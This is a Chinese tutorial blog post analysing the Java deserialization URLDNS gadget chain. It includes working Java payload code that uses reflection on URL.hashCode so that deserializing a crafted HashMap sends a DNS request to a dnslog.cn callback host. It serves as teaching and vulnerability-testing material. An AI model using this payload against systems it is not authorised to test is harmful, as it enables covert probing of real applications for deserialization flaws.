Java反序列化调用链分析系列 | URLDNS链

news/2024/9/22 23:10:37

URLDNS链

URLDNS链是java通过反序列化发起dns请求的利用链。一般用于测试反序列化漏洞。

该链比较简单,利用链也比较短。

其中入口类为 HashMap,执行类为URLStreamHandler的hashCode()方法。

整个调用链如下:

HashMap.readObject()
HashMap.putVal()
HashMap.hash()URL.hashCode()URLStreamHandler.hashCode()URLStreamHandler.getHostAddress()

调用链分析

HashMapde readObject()方法会调用putVal()方法因而调用hash()方法,传递的参数为key,这个key为hashMap对象的存在的键。

之后会调用key.hashCode(),即key(Object)不同,调用的hashCode()不同。

而URL类中也存在hashCode方法,如果传入的key为URL对象,则会调用URL对象的hashCode():

如果调用了URL对象的hashCode,则会调用handler.hashCode(this)

其中handler为URLStreamHandler

因此,最终会调用URLStreamHandler对象的hashCode()

URLStreamHandler对象的hashCode()中会调用getHostAddress(u),进而发起DNS请求。

总结一下就是:

如果一个序列化的hashMap对象中存在一个URL对象,则在进行反序列hashMap对象的时候,就会触发URL对象的hashCode()方法,进而触发DNS请求。

Payload编写

基本代码如下:

        URL url = new URL("http://9bfi43.dnslog.cn");HashMap hashMap = new HashMap();hashMap.put(url,'1');SerAndUnser.serialize(hashMap);

通过hashMap对象put进一个URL对象。

根据调用链,则在反序列化时会调用hashMap的readObject方法,其中url对象为key,然后调用到url.hashCode()URLStreamHandler.hashCode(url),最终触发到请求DNS的代码。

看似完美,但是运行时会发现,序列化hashMap对象时就已经触发了请求DNS代码。

为什么呢?

通过分析发现,hashMap的put方法也会调用hash(url)url.hashCode(),也就是说在执行hashMap.put(url,'1')时就会触发最终代码。

怎么办呢?

这里有两个思路:

  1. hashMap在put的时候,不将url放入hashMap,这样就不会触发url的hashCode。然后通过别的方式将url放入hashMap。
  2. 将url对象put进入hashMap,然后想办法不让url对象触发hashCode()或者是不触发URLStreamHandler.hashCode()

显然第一个思路实现不了,没有别的方式在hashMap对象中放入key。

那么就看一下第二个思路:

在put时不触发url的hashCode方法,这个显然也不行,只要put执行,hash()会执行,hashCode()必然执行,(除非key为空,但是不现实)。

那我们能不能阻止URLStreamHandler.hashCode()的执行呢?看下url对象的hashCode方法

发现:这里先是做了一个判断,如果hashCode为-1,则不会再执行到hashCode()了,这不正是我们想要的嘛。只需要将hashCode设置为-1。

但怎么设置呢?

首先,hashCode默认为-1

通过搜索也没有位置可以修改hashCode的值,那我们只能通过hashMap对象本身来修改了,但是hashCode又是private修饰,直接修改不了。

所以接下来需要使用反射处理,修改的代码如下:

        URL url = new URL("http://9bfi43.dnslog.cn");HashMap hashMap = new HashMap();// 将url对象中的hashCode修改为不是-1Class urlClass = url.getClass();  // 注意:是url对象,不是hashMap对象Field hashCodeField = urlClass.getDeclaredField("hashCode");hashCodeField.setAccessible(true);hashCodeField.set(url,1234); // 将url对象中的hashCode修改为不是-1即可hashMap.put(url,'1');//        SerAndUnser.serialize(hashMap);SerAndUnser.unserialize("ser.bin");

以上代码,序列化时没有触发最终代码了,但是在反序列化时也不触发了~

原因其实很简单,反序列化之前,hashMap对象存在URL对对象,但是URL对象的hashCode不是-1,因此反序列化时,执行不到handler.hashCode(),因此执行不到最终的代码。

解决方式是,在hashMap的put之后,再把url对象的hashCode值修改为-1即可。

最终代码如下:

        URL url = new URL("http://9bfi43.dnslog.cn");HashMap hashMap = new HashMap();// 将url对象中的hashCode修改为不是-1Class urlClass = url.getClass();  // 注意:是url对象,不是hashMap对象Field hashCodeField = urlClass.getDeclaredField("hashCode");hashCodeField.setAccessible(true);hashCodeField.set(url,1234); // 将url对象中的hashCode修改为不是-1即可hashMap.put(url,'1');// put之后再将hashCode的值修改回-1hashCodeField.set(url,-1);//        SerAndUnser.serialize(hashMap);SerAndUnser.unserialize("ser.bin");

执行反序列化会成功触发最终的DNS请求。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/63527.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

控制请求并发数量:p-limit 源码解读

p-limit 是一个控制请求并发数量的库,他的整体代码不多,思路挺好的,很有学习价值; 举例 当我们同时发起多个请求时,一般是这样做的 Promise.all([requestFn1,requestFn2,requestFn3 ]).then(res =>{})或者 requestFn1() requestFn2() requestFn3()而使用 p-limit 限制并…

程序员职业发展之路思考:工程师的等级阶梯

德雷福斯模型:新手到专家 德雷福斯模型(Dreyfus model)是在 1980 年,Dreyfus 兄弟共同提出的技能习得模型。 它是一个技能习得的阶梯模型,也可以用来考察行业技术能手的分级。该模型由上而下分成:专家、精通者、胜任者、高级新手、新手五个等级,越到上面人数占比越少。新…

2024 人工智能学习内容

第六组思维导图:图形的认识

04. 流程控制

一、流程控制流程控制就是用来控制程序运行中各语句执行顺序的语句。基本的流程结构为:顺序结构,分支结构(或称选择结构),循环结构。顺序结构:程序自上到下执行,中间没有任何判断和跳转; 分支结构:根据条件,选择性的执行某段代码,有 if……else 和 switch……case 两…

CentOS 7 虚拟机连接网络

CentOS 7 虚拟机连接网络 检查网络 ping www.baidu.com切换 root 用户 su查看网卡名 ip addr激活网卡 vim /etc/sysconfig/network-scripts/ifcfg-ens33重启网络 service network restart

execve

目录glibc glibc execve() 执行由 pathname 指定的程序。这会导致当前正在被调用进程运行的程序被一个新程序替换,且该新程序会重新初始化栈、堆,以及(已初始化和未初始化的)数据段。

freeRTOS源码解析4--tasks.c 5

4.2.13 继续任务--vTaskResume 接口:void vTaskResume( TaskHandle_t xTaskToResume )形参1:xTaskToResume ,想要继续的任务handle; 首先是vTaskResume调用的一个内部函数:static BaseType_t prvTaskIsTaskSuspended( const TaskHandle_t xTask ),用于检查任务是否是挂起…

MySQL 必知概念

Delete、Drop 和 Truncatedelete、truncate 仅仅删除表里面的数据,drop会把表的结构也删除 delete 是 DML 语句,操作完成后,可以回滚,truncate 和 drop 是 DDL 语句,删除之后立即生效,不能回滚 执行效率:drop > truncate > deleteMyISAM 与 InnoDBInnoDB 支持事务…